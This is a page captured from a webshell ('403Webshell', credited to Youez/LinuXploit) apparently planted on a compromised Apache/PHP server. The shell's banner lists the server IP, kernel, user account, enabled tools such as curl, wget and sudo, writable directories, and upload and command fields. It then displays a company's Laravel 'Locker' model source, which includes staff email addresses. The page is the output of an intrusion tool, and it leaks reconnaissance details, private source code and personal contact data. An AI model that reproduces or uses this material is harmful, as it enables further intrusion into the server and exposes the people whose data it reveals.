403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache2/htdocs/app/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache2/htdocs/app/app/Models/Locker.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
use Pylon\Traits\Models\HasSoftDeletesActivity;
use Pylon\Traits\Models\HasSearchScope;
use App\Models\LockerBoxType;

class Locker extends Model
{   
    use SoftDeletes, HasSoftDeletesActivity, HasSearchScope;

    protected $fillable = [
    	"unique_id", "terminal_id", "app_version",
    ];

    protected $casts = [
        "is_connect" => "boolean",
        "latitude" => "float",
        "longitude" => "float",
    ];

    //EMAIL ALERT FOR WHEN LOCKER GOES OFFLINE
    const EMAIL_ALERT = [
        "naresh@zlock.com.my",
        "aaron@zlock.com.my",
        "benjamin@zlock.com.my",
        "koffee@zlock.com.my",
        "vogue@zlock.com.my",
        "samuel@advisoryapps.com"
    ];

    const EMAIL_ALERT_DEV = [
        "samuel@advisoryapps.com"
    ];

    //Print label type
    const DELIVERY = 1;
    const FORCE_CANCEL = 2;
    public const PRINT_TYPE = [
        self::DELIVERY => "Delivery",
        self::FORCE_CANCEL => "Force Cancel",
    ];
    
    protected function serializeDate(\DateTimeInterface $date)
	{
		return $date->format('Y-m-d H:i:s');
	}

    // relationship
	public function boxes() {
		return $this->hasMany('App\Models\LockerBox', 'locker_id');
	}
	public function availableBoxTypes() {
        return $this->belongsToMany('App\Models\LockerBoxType','locker_body_box_types','locker_id','box_type_id')->withTimestamps();
	}
    public function schedules() {
        return $this->hasMany('App\Models\LockerSchedule', 'locker_id');
    }
    public function partner()
    {
        return $this->belongsTo('App\Models\User', 'owner_id');
    }

    // append
    protected $appends = ['courierBagId'];

    //  accessor
    public function getCourierBagIdAttribute()
    {   
        return LockerBoxType::where('id', 99)
                ->get();
    }

    // functions
    public function weeklySchedules(){
        return $this->schedules()
            ->where('type_id', LockerSchedule::WEEKLY)
            ->orderBy("day","ASC")
            ->orderBy("start_time","ASC");
    }
    public function specialSchedules(){
        return $this->schedules()
            ->where('type_id', LockerSchedule::SPECIAL_DAY)
            ->orderBy("date","ASC")
            ->orderBy("start_time","ASC");
    }
    public function courierBagBox(){
        return $this->boxes()
            ->where('box_type_id', LockerBoxType::COURIER_BAG_ID)
            ->get();
    }

    public static function computedUniqueId()
	{	
		$last_locker = Locker::withTrashed()->whereNotNull('unique_id')->latest('created_at')->first();

		$last_unique_id = (int)substr($last_locker->unique_id,5);

		$year = now()->format('Y');

		return self::getUniqueId($last_unique_id, $year);
	}

    public static function getUniqueId($count, $year)
	{
		$running_number = $count + 1;

		$unique_id = 'L'.$year.str_pad($running_number, 5, '0', STR_PAD_LEFT);

		$locker = Locker::where('unique_id',$unique_id)->first();

		if($locker)
		{
			$unique_id = self::getUniqueId($running_number, $year);
		}

		return $unique_id;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit